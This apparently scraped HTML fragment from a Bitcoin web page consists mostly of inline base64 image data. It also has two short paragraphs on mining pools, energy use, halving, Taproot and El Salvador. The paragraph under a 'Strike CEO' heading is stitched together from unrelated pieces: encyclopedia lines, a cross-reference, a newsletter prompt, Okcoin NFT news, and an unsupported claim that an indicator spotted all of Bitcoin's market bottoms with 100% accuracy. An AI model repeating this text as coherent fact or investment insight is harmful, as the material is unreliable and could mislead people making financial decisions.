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" width="303px" alt="bitcoin.to.usd"/></p>
<p>In a pool, all participating miners get paid every time a participating server solves a block. This payment depends on the amount of work an individual miner contributed to help find that block. Bitcoins can be transferred from a bitcoin exchanges to one of many bitcoin wallets, ranging from online options to ‘cold storage’. The process of requiring network contributors to dedicate time and resources to creating new blocks ensures the network remains secure. As of 2021, the Bitcoin network consumes about 93 terawatt hours of electricity per year – around the same energy consumed by the 34th-largest country in the world. Every 210,000 blocks, or about once every four years, the number of bitcoin received from each block reward is halved to gradually reduce the number of bitcoin entering the space over time.</p>
<p><h2>Bitcoin is Superior To Existing Payment Networks, Strike Ceo Says</h2>
</p>
<p>Also In June, the Taproot network software upgrade was approved, adding support for Schnorr signatures, improved functionality of Smart contracts and Lightning Network. Because of its size and complexity, downloading and verifying the entire blockchain is not suitable for all computing devices. For broader coverage of this topic, see Cryptocurrency wallet. A few local and national governments are officially using Bitcoin in some capacity, with one country, El Salvador, adopting it as a legal tender. After having reached, a coupled of hours ago, an intraday high @&#8230; I&#8217;ve made countless analyses in the past pointing out the high correlation between Bitcoin and the stock markets. In that context, I was running a few regressions of BTC against Dow Jones in particular and found an indicator that has spotted all of Bitcoin&#8217;s historic market bottoms with 100% accuracy. Sign Up NowGet this delivered to your inbox, and more info about our products and services. Okcoin announced its new NFT marketplace on Tuesday, which features no royalty cap for creators and is backed by Randi Zuckerberg.</p>
<p><a href="https://www.beaxy.com/"><img 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